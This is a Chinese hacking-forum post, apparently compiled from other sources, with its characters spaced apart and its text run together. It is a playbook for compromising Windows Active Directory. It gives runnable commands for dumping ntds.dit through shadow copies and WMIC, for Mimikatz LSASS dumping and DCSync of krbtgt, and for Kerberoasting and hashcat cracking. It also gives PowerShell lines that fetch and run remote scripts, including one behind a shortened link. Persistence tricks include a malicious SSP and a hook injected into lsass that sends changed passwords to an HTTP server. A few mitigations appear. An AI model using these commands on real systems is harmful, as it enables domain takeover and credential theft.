储 在 n t d s . d i t 文 件 中 （ 默 认 存 储 在 c : W i n d o w s N T D S 中 , A D 数 据 库 是 J e t 数 据 库 引 擎 ， 它 使 用 提 供 数 据 存 储 和 索 引 服 务 的 可 扩 展 存 储 引 擎 （ E S E ） E S E 级 索 引 使 对 象 属 性 可 以 快 速 定 位 。 E S E 确 保 数 据 库 符 合 A C I D （ 原 子 性 ， 一 致 性 ， 隔 离 性 和 持 久 性 ）   –   交 易 中 的 所 有 操 作 完 成 或 不 执 行 。 A D   E S E 数 据 库 非 常 快 速 和 可 靠 。 n t d s . d i t 文 件 由 三 个 主 表 组 成 ： 数 据 表 ， 链 接 表 和 S D 表 。 具 体 详 细 资 料 查 看 : 使 用 使 用 V S S 卷 影 副 本 卷 影 副 本 什 么 是 卷 影 副 本 ? 卷 影 副 本 ， 也 称 为 快 照 ， 是 存 储 在   D a t a   P r o t e c t i o n   M a n a g e r   ( D P M )   服 务 器 上 的 副 本 的 时 间 点 副 本 。 副 本 是 文 件 服 务 器 上 单 个 卷 的 受 保 护 共 享 、 文 件 夹 和 文 件 的 完 整 时 间 点 副 本 。 支 持 操 作 系 统 ： 通 常 拿 下 一 台 服 务 器 时 准 备 内 网 渗 透 ， 需 要 传 你 的 工 具 到 目 标 机 器 中 ， 而 且 是 长 久 渗 透 的 这 种 ， 为 了 不 被 发 现 ！ 获 取 系 统 S A M 文 件 等 h t t p s : / / g i t h u b . c o m / n i d e m / k e r b e r o a s t s e t s p n   - T   P E N T E S T . c o m   - Q   * / * k e r b e r o s : : l i s t   / e x p o r t t g s r e p c r a c k . p y   w o r d l i s t . t x t   1 - M S S Q L S v c ~ s q l 0 1 . m e d i n . l o c a l ~ 1 4 3 3 - M Y D O M A I N . L O C A L . k i r b i R e s p o n d e r c a i n e t t e r c a p B D F P r o x y 攻 击 者 如 何 转 储 A c t i v e   D i r e c t o r y 数 据 库 h t t p s : / / a d s e c u r i t y . o r g / ? p = 2 3 9 8 目 录 分 区 h t t p s : / / t e c h n e t . m i c r o s o f t . c o m / e n - u s / l i b r a r y / c c 9 6 1 5 9 1 . a s p x h t t p s : / / t e c h n e t . m i c r o s o f t . c o m / e n - u s / l i b r a r y / c c 7 7 2 8 2 9 ( v = w s . 1 0 ) . a s p x W i n d o w s   S e r v e r   2 0 0 3 ,   W i n d o w s   S e r v e r   2 0 0 8 ,   W i n d o w s   S e r v e r   2 0 0 3   R 2 ,   W i n d o w s   S e r v e r   2 0 0 8   R 2 ,   W i n d o w s   S e r v e r   2 0 1 2 ,   W i n d o w s   8
使 用 V S S 卷 影 副 本 （ 通 过 W M I 或 P o w e r S h e l l 远 程 处 理 ） 远 程 提 取 n t d s . d i t W i n d o w s 有 一 个 名 为 W M I 的 内 置 管 理 组 件 ， 支 持 远 程 执 行 （ 需 要 管 理 员 权 限 ） 。 W M I C 是 在 远 程 计 算 机 上 执 行 命 令 的 W M I 命 令 工 具 。 利 用 W M I C （ 或 P o w e r S h e l l 远 程 处 理 ） 创 建 （ 或 复 制 现 有 的 ） V S S 。 查 看 v s s . l o g 利 用 这 种 方 法 可 以 和 上 面 的 K e r b e r o s 票 结 合 来 实 现 使 用 D I T   S n a p s h o t   V i e w e r 可 以 验 证 我 们 是 否 成 功 地 获 得 了 n t d s . d i t 文 件 。 N T D S U t i l 获 取 获 取 n t d s . d i t 文 件 文 件 N t d s u t i l . e x e 是 一 个 为 A c t i v e   D i r e c t o r y 提 供 管 理 设 施 的 命 令 行 工 具 。 使 用 N T D S U T I L 的 I F M 创 建 （ V S S 卷 影 副 本 ） 在 D C 上 本 地 引 用 n t d s . d i t N T D S U t i l 是 本 地 处 理 A D   D B 的 命 令 实 用 程 序 （ n t d s . d i t ） ， 并 为 D C P r o m o 启 用 I F M 集 创 建 。 I F M 与 D C P r o m o 一 起 用 于 “ 从 媒 体 安 装 ” , 因 此 被 升 级 的 服 务 器 不 需 要 通 过 网 络 从 另 一 个 D C 复 制 域 数 据 。 当 创 建 一 个 I F M 时 ， V S S 快 照 被 拍 摄 ， 挂 载 ， n t d s . d i t 文 件 和 相 关 数 据 被 复 制 到 目 标 文 件 夹 中 。 此 命 令 也 可 以 通 过 W M I 或 P o w e r S h e l l 远 程 执 行 。 P o w e r S h e l l 提 取 提 取 n t d s . d i t 使 用 P o w e r S p l o i t 的 I n v o k e - N i n j a C o p y 远 程 提 取 n t d s . d i t （ 需 要 在 目 标 D C 上 启 用 P o w e r S h e l l 远 程 处 理 功 能 ） 。 I n v o k e - N i n a C o p y 是 一 个 P o w e r S h e l l 函 数 ， 它 可 以 利 用 P o w e r S h e l l 远 程 处 理 （ 必 须 在 目 标 D C 上 启 用 P o w e r S h e l l 远 程 处 理 ） ， 从 远 程 计 算 机 上 复 制 文 件 （ 即 使 文 件 已 锁 定 ， 可 直 接 访 问 文 件 ） 。 使 用 使 用 M i m i k a t z 提 取 提 取 使 用 M i m i k a t z 在 提 取 A c t i v e   D i r e c t o r y   h a s h 使 用 R I D   5 0 2 的 帐 户 是 K R B T G T 帐 户 ， 使 用 R I D   5 0 0 的 帐 户 是 域 的 默 认 管 理 员 。 获 取 对 A c t i v e   D i r e c t o r y 数 据 库 文 件 的 访 问 权 限 （ n t d s . d i t ） A c t i v e   D i r e c t o r y 数 据 库 （ n t d s . d i t ） 包 含 有 关 A c t i v e   D i r e c t o r y 域 中 所 有 对 象 的 所 有 信 息 该 文 件 还 包 含 所 有 域 用 户 和 计 算 机 帐 户 的 密 码 哈 希 值 。 有 时 候 域 控 升 级 等 会 把 n t d s . d i t 备 份 文 件 可 从 共 享 服 务 器 中 找 到 可 以 不 用 直 接 从 域 控 制 复 制 使 用 M i m i k a t z 转 储 L S A S S 内 存 使 用 任 务 管 理 器 （ 获 取 域 管 理 员 凭 据 ） 转 储 L S A S S 内 存 w m i c   / n o d e : A D   / u s e r : P E N T E S T A d m i n i s t r a t o r   / p a s s w o r d : 1 2 3 q w e Q W E ! @ #   p r o c e s s   c a l l   c r e a t e   " c m d   / c   v s s a d m i n   c r e a t e   s h a d o w   / f o r = c :   2 > & 1   >   c : v s s . l o g " w m i c   / n o d e : A D   / u s e r : P E N T E S T a d m i n i s t r a t o r   / p a s s w o r d : 1 2 3 q w e ! @ # ! @ #   p r o c e s s   c a l l   c r e a t e   " c m d   / c   c o p y   卷 影 I D W i n d o w s N T D S N T D S . d i t   C : w i n d o w s t e m p N T D S . d i t   2 > & 1 " w m i c   / n o d e : A D   / u s e r : P E N T E S T a d m i n i s t r a t o r   / p a s s w o r d : 1 2 3 q w e ! @ #   p r o c e s s   c a l l   c r e a t e   " c m d   / c   c o p y   卷 影 I D W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M   c : w i n d o w s t e m p S Y S T E M . h i v e   2 > & 1 " n e t   u s e   k :   p e n t e s t . c o m c $ h t t p s : / / g i t h u b . c o m / y o s q u e o y / d i t s n a p n t d s u t i l   " a c   i   n t d s "   " i f m "   " c r e a t e   f u l l   c : t e m p "   q   q h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / I n v o k e - N i n j a C o p y . p s 1 ' ) ;   I n v o k e - N i n j a C o p y   - P a t h   " C : w i n d o w s n t d s n t d s . d i t "   - C o m p u t e r N a m e   " A D "   - L o c a l D e s t i n a t i o n   " C : t e m p n t d s . d i t " m i m i k a t z   l s a d u m p : : l s a   / i n j e c t   e x i t s e k u r l s a : : m i n i d u m p   c : t e m p l s a s s . d m p
使 用 使 用 P o w e r S h e l l   M i m i k a t z 使 用 P o w e r S h e l l ， 域 必 需 要 能 上 网 否 则 这 方 法 不 可 用 无 程 获 取 M i m i k a t z 的 的 D C S y n c 使 用 M i m i k a t z 的 D C S y n c   远 程 转 储 A c t i v e   D i r e c t o r y 凭 证 ， 它 有 效 地 ” 模 拟 ” 域 控 制 器 并 向 目 标 域 控 制 器 请 求 帐 户 密 码 数 据 。 使 用 M i m i k a t z 的 D C S y n c 和 相 应 的 权 限 ， 攻 击 者 可 以 通 过 网 络 从 域 控 制 器 中 提 取 密 码 散 列 以 及 以 前 的 密 码 散 列 ， 而 无 需 交 互 式 登 录 或 复 制 A c t i v e   D i r e c t o r y 数 据 库 文 件 （ n t d s . d i t ） 运 行 D C S y n c 需 要 特 殊 权 限 。 管 理 员 ， 域 管 理 员 或 企 业 管 理 员 以 及 域 控 制 器 计 算 机 帐 户 的 任 何 成 员 都 能 够 运 行 D C S y n c 来 提 取 密 码 数 据 。 请 注 意 ， 只 读 域 控 制 器 不 仅 可 以 默 认 为 用 户 提 取 密 码 数 据 。 提 取   K R B T G T 用 户 帐 户 的 密 码 数 据 ： 管 理 员 用 户 帐 户 提 取 密 码 数 据 ： N T D S . d i t 中 提 取 哈 希 中 提 取 哈 希 从 N T D S . d i t 中 提 取 哈 希 ， 提 取 出 来 的 文 件 通 过 n t d s d u m p 是 无 法 提 取 的 通 过 e s e d b e x p o r t 来 恢 复 。 安 装 ： 大 概 需 要 ( 2 0 - 3 0 分 钟 ) 最 后 生 成 在 . / n t d s . d i t . e x p o r t / 使 用 n t d s x t r a c t 提 取 域 信 息 提 取 h a s h :   ( 这 里 需 要 将 刚 拷 出 来 的 三 个 文 件 中 的 s y s t e m 复 制 到 当 前 目 录 下 ) 这 样 提 取 出 来 之 后 已 经 是 转 换 成 h a s h c a t 可 破 解 的 格 式   A D 持 久 化 持 久 化 活 动 目 录 持 久 性 技 巧 D S R M 密 码 同 步 密 码 同 步 D S R M 密 码 同 步 将 域 控 权 限 持 久 化 ， 获 取 到 域 控 权 限 后 如 何 利 用 D S R M 密 码 同 步 将 域 管 权 限 持 久 化 。 W i n d o w s   S e r v e r   2 0 0 8   需 要 安 装 K B 9 6 1 3 2 0 补 丁 才 支 持 D S R M 密 码 同 步 ， W i n d o w s   S e r v e r   2 0 0 3 不 支 持 D S R M 密 码 同 步 。 K B 9 6 1 3 2 0 p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / i s . g d / o e o F u I ' ) ;   I n v o k e - M i m i k a t z   - C o m m a n d   ' " p r i v i l e g e : : d e b u g "   " L S A D u m p : : L S A   / i n j e c t "   e x i t ' P o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / i s . g d / o e o F u I ' ) ;   I n v o k e - M i m i k a t z   - C o m m a n d   ‘ ” p r i v i l e g e : : d e b u g ”   “ L S A D u m p : L S A   / i n j e c t ” ‘   - C o m p u t e r   p e n t e s t . c o m M i m i k a t z   " p r i v i l e g e : : d e b u g "   " l s a d u m p : : d c s y n c   / d o m a i n : r d . a d s e c u r i t y . o r g   / u s e r ： k r b t g t " e x i t M i m i k a t z   " p r i v i l e g e : : d e b u g "   " l s a d u m p : : d c s y n c   / d o m a i n : r d . a d s e c u r i t y . o r g   / u s e r ： A d m i n i s t r a t o r "   e x i t w g e t   h t t p s : / / g i t h u b . c o m / l i b y a l / l i b e s e d b / r e l e a s e s / d o w n l o a d / 2 0 1 7 0 1 2 1 / l i b e s e d b - e x p e r i m e n t a l - 2 0 1 7 0 1 2 1 . t a r . g z ` a p t - g e t   i n s t a l l   a u t o c o n f   a u t o m a k e   a u t o p o i n t   l i b t o o l   p k g - c o n f i g . / c o n f i g u r e m a k e m a k e   i n s t a l l l d c o n f i g e s e d b e x p o r t   - m   t a b l e s   n t d s . d i t g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c s a b a b a r t a / n t d s x t r a c t . g i t p y t h o n   s e t u p . p y   b u i l d   & &   p y t h o n   s e t u p . p y   i n s t a l l $   d s u s e r s . p y   n t d s . d i t . e x p o r t / d a t a t a b l e . 3   n t d s . d i t . e x p o r t / l i n k _ t a b l e . 5   o u t p u t   - - s y s h i v e   S Y S T E M   - - p a s s w o r d h a s h e s   - - p w d f o r m a t   o c l   - - n t o u t f i l e   n t o u t   - - l m o u t f i l e   l m o u t   | t e e   a l l _ u s e r _ i n f o . t x t h a s h c a t   - m   1 0 0 0   n t o u t   . / p a s s w o r d . t x t h t t p s : / / a d s e c u r i t y . o r g / ? p = 1 9 2 9 D S 恢 复 模 式 密 码 维 护 h t t p s : / / b l o g s . t e c h n e t . m i c r o s o f t . c o m / a s k d s / 2 0 0 9 / 0 3 / 1 1 / d s - r e s t o r e - m o d e - p a s s w o r d - m a i n t e n a n c e / h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / e n - u s / h e l p / 9 6 1 3 2 0 / a - f e a t u r e - i s - a v a i l a b l e - f o r - w i n d o w s - s e r v e r - 2 0 0 8 - t h a t - l e t s - y o u - s y n c h r o n i
巧 用 D S R M 密 码 同 步 将 域 控 权 限 持 久 化 同 步 之 后 使 用 法 国 佬 神 器 （ m i m i k a t z ） 查 看 k r b t g t 用 户 和 S A M 中 A d m i n i s t r a t o r 的 N T L M 值 。 可 以 看 到 两 个 账 户 的 N T L M 值 相 同 ， 说 明 确 实 同 步 成 功 修 改 注 册 表 允 许 D S R M 账 户 远 程 访 问 修 改 注 册 表   h k e y _ l o c a l _ m a c h i n e S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a   路 径 下 的   D S R M A d m i n L o g o n B e h a v i o r   的 值 为 2 。 系 统 默 认 不 存 在 D S R M A d m i n L o g o n B e h a v i o r ， 请 手 动 添 加 。 使 用 H A S H 远 程 登 录 域 控 D S R M 账 户 是 域 控 的 本 地 管 理 员 账 户 ， 并 非 域 的 管 理 员 帐 户 。 所 以 D S R M 密 码 同 步 之 后 并 不 会 影 响 域 的 管 理 员 帐 户 。 事 件 查 看 器 的 安 全 事 件 中 筛 选 事 件 I D 为 4 7 9 4 的 事 件 日 志 ， 来 判 断 域 管 是 否 经 常 进 行 D S R M 密 码 同 步 操 作 。 缓 解 措 施 缓 解 措 施 对 于 这 个 问 题 的 唯 一 有 效 的 缓 解 措 施 就 是 确 保 每 一 台 域 控 制 器 的 D S R M 账 户 密 码 是 唯 一 的 并 且 定 期 修 改 此 密 码 。 同 时 ， 确 保 注 册 表 D s r m A d m i n L o g o n B e h a v i o r 的 值 不 为 2 ， 最 好 将 其 直 接 删 除 或 者 设 置 其 值 为 1 或 0 。 直 译 为 安 全 支 持 提 供 者   又 名 S e c u r i t y   P a c k a g e . 简 单 的 理 解 为 S S P 就 是 一 个 D L L ， 用 来 实 现 身 份 认 证 将 m i m i l i b . d l l 复 制 到 域 控 c : / w i n d o w s / s y s t e m 3 2 下 设 置 S S P 修 改 域 控 注 册 表 位 置 ： M e m o r y   U p d a t i n g   o f   S S P s p r i v i l e g e : : d e b u g m i s c : : m e m s s p 这 样 就 不 需 要 重 启 c : / w i n d o w s / s y s t e m 3 2 可 看 到 新 生 成 的 文 件 k i w i s s p . l o g 如 果 不 是 在 域 环 境 下 生 成 的 文 件 会 在   s y s t e m 3 2 m i m i l s a . l o g 防 ： 检 测 注 册 表 位 置 ： 检 测 % w i n d i r % / S y s t e m 3 2 是 否 有 可 疑 d l l S I D 历 史 历 史 S I D 历 史 记 录 允 许 另 一 个 帐 户 的 访 问 被 有 效 地 克 隆 到 另 一 个 帐 户 A d m i n S D H o l d e r ＆ ＆ S D P r o p 利 用 A d m i n S D H o l d e r ＆ S D P r o p （ 重 新 ） 获 取 域 管 理 权 限 A d m i n S D H o l d e r 是 位 于 A c t i v e   D i r e c t o r y 中 的 系 统 分 区   组 策 略 组 策 略 h t t p : / / d r o p s . x m d 5 . c o m / s t a t i c / d r o p s / t i p s - 9 2 9 7 . h t m l S e c u r i t y   S u p p o r t   P r o v i d e r h t t p s : / / a d s e c u r i t y . o r g / ? p = 1 7 6 0 h t t p : / / w w w . e v i l 0 x . c o m / p o s t s / 1 1 3 5 4 . h t m l H K E Y _ L O C A L _ M A C H I N E / S y s t e m / C u r r e n t C o n t r o l S e t / C o n t r o l / L s a / S e c u r i t y   P a c k a g e s / H K E Y _ L O C A L _ M A C H I N E / S y s t e m / C u r r e n t C o n t r o l S e t / C o n t r o l / L s a / S e c u r i t y   P a c k a g e s / h t t p s : / / a d s e c u r i t y . o r g / ? p = 1 7 7 2 m i m i k a t z   " p r i v i l e g e : : d e b u g "   " m i s c : : a d d s i d   b o b a f e t t   A D S A d m i n i s t r a t o r " h t t p s : / / a d s e c u r i t y . o r g / ? p = 1 9 0 6
组 策 略 概 述 组 策 略 概 述 组 策 略 使 管 理 员 能 够 管 理 A c t i v e   D i r e c t o r y 中 的 计 算 机 和 用 户 。 组 策 略 保 存 为 组 策 略 对 象 （ G P O ） 攻 击 者 可 以 滥 用 G P O ， 通 过 欺 诈 方 式 进 一 步 自 动 化 地 传 播 恶 意 软 件 、 实 现 持 久 化 驻 留 目 的 恶 意 软 件 可 以 利 用 G P O 穿 越 I D S / I P S 等 防 火 墙 ， 最 终 访 问 到 域 内 所 有 的 系 统 。 G P O 的 另 一 优 点 就 是 攻 击 过 程 期 间 并 不 需 要 目 标 系 统 在 线 ， 一 旦 离 线 状 态 下 的 目 标 系 统 重 新 登 录 到 域 中 ， 恶 意 的 G P O 载 荷 就 会 被 投 递 到 目 标 系 统 。 组 策 略 默 认 情 况 下 每 9 0 分 钟 （ 域 控 制 器 5 分 钟 ） 可 包 括 安 全 选 项 ， 注 册 表 项 ， 软 件 安 装 以 及 启 动 和 关 闭 脚 本 以 及 域 成 员 刷 新 组 策 略 设 置 。 这 意 味 着 组 策 略 在 目 标 计 算 机 上 执 行 配 置 的 设 置 。 S Y S V O L 是 所 有 经 过 身 份 验 证 的 用 户 具 有 读 取 权 限 的 A c t i v e   D i r e c t o r y 中 的 域 范 围 共 享 。 S Y S V O L 包 含 登 录 脚 本 ， 组 策 略 数 据 以 及 其 他 域 控 制 器 中 需 要 使 用 的 全 域 数 据 。 S Y S V O L 共 享 将 自 动 同 步 并 在 所 有 域 控 制 器 之 间 共 享 。 其 实 我 认 为 组 策 略 也 相 当 于 远 控 , 可 以 把 配 置 脚 本 让 域 内 的 每 一 台 电 脑 都 种 上 马 批 量 执 行 一 遍 。 或 者 每 周 在 所 有 域 上 运 行 M i m i k a t z 获 取 明 文 密 码 , 以 及 获 取 某 种 类 型 文 件 这 要 通 过 编 写 脚 本 实 现 。 远 程 搜 索 某 个 本 地 文 件 （ 如 p r o o f . t x t ） 防 ： 定 期 审 核 G P O 。 为 G P O 使 用 定 义 清 晰 的 命 名 约 定 记 录 G P O 的 创 建 动 作 H o o k   P a s s w o r d C h a n g e N o t i f y 在 修 改 域 控 密 码 时 会 进 行 如 下 同 步 操 作 ： a .   当 修 改 域 控 密 码 时 ， L S A 首 先 调 用 P a s s w o r d F i l e t e r 来 判 断 新 密 码 是 否 符 合 密 码 复 杂 度 要 求 b .   如 果 符 合 ， L S A 接 着 调 用 P a s s w o r d C h a n g e N o t i f y 在 系 统 上 同 步 更 新 密 码 函 数 P a s s w o r d C h a n g e N o t i f y 存 在 于 r a s s f m . d l l p o c 下 载 地 址 ： 使 用 V S 2 0 1 5 开 发 环 境 ， M F C 设 置 为 在 静 态 库 中 使 用 M F C 编 译 工 程 ， 生 成 H o o k P a s s w o r d C h a n g e . d l l 下 载 P o w e r s h e l l 的 d l l 注 入 脚 本 在 代 码 尾 部 添 加 如 下 代 码 ： 并 命 名 为 H o o k P a s s w o r d C h a n g e N o t i f y . p s 1 上 传 H o o k P a s s w o r d C h a n g e N o t i f y . p s 1 和 H o o k P a s s w o r d C h a n g e . d l l 管 理 员 权 限 执 行 ： 将 获 取 到 的 密 码 上 传 到 h t t p 服 务 器 : 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 h t t p s : / / a d s e c u r i t y . o r g / ? p = 2 7 1 6 策 略 对 象 在 持 久 化 及 横 向 渗 透 中 的 应 用 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 6 5 3 1 G e t - C o n t e n t   < l i s t   o f   I P s >   |   F o r E a c h - O b j e c t   { G e t w m i o b j e c t   C I M _ D a t a F i l e   - f i l t e r   » D r i v e = ’ c : ’   A N D   F i l e n a m e = ’ p r o o f ’   A N D   e x t e n s i o n = ’ t x t ’   - I m p e r s o n a t e   3   - c o m p u t e r n a m e   $ _   |   S e l e c t   P S C o m p u t e r n a m e ,   N a m e   - U n i q u e } 一 篇 文 章 精 通 P o w e r S h e l l   E m p i r e   2 . 3 （ 上 ） h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 7 3 2 8 h t t p s : / / g i t h u b . c o m / c l y m b 3 r / M i s c - W i n d o w s - H a c k i n g h t t p s : / / g i t h u b . c o m / c l y m b 3 r / P o w e r S h e l l / b l o b / m a s t e r / I n v o k e - R e f l e c t i v e P E I n j e c t i o n / I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 I n v o k e - R e f l e c t i v e P E I n j e c t i o n   - P E P a t h   H o o k P a s s w o r d C h a n g e . d l l   – p r o c n a m e   l s a s s P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   H o o k P a s s w o r d C h a n g e N o t i f y . p s 1 h t t p : / / c a r n a l 0 w n a g e . a t t a c k r e s e a r c h . c o m / 2 0 1 3 / 0 9 / s t e a l i n g - p a s s w o r d s - e v e r y - t i m e - t h e y . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理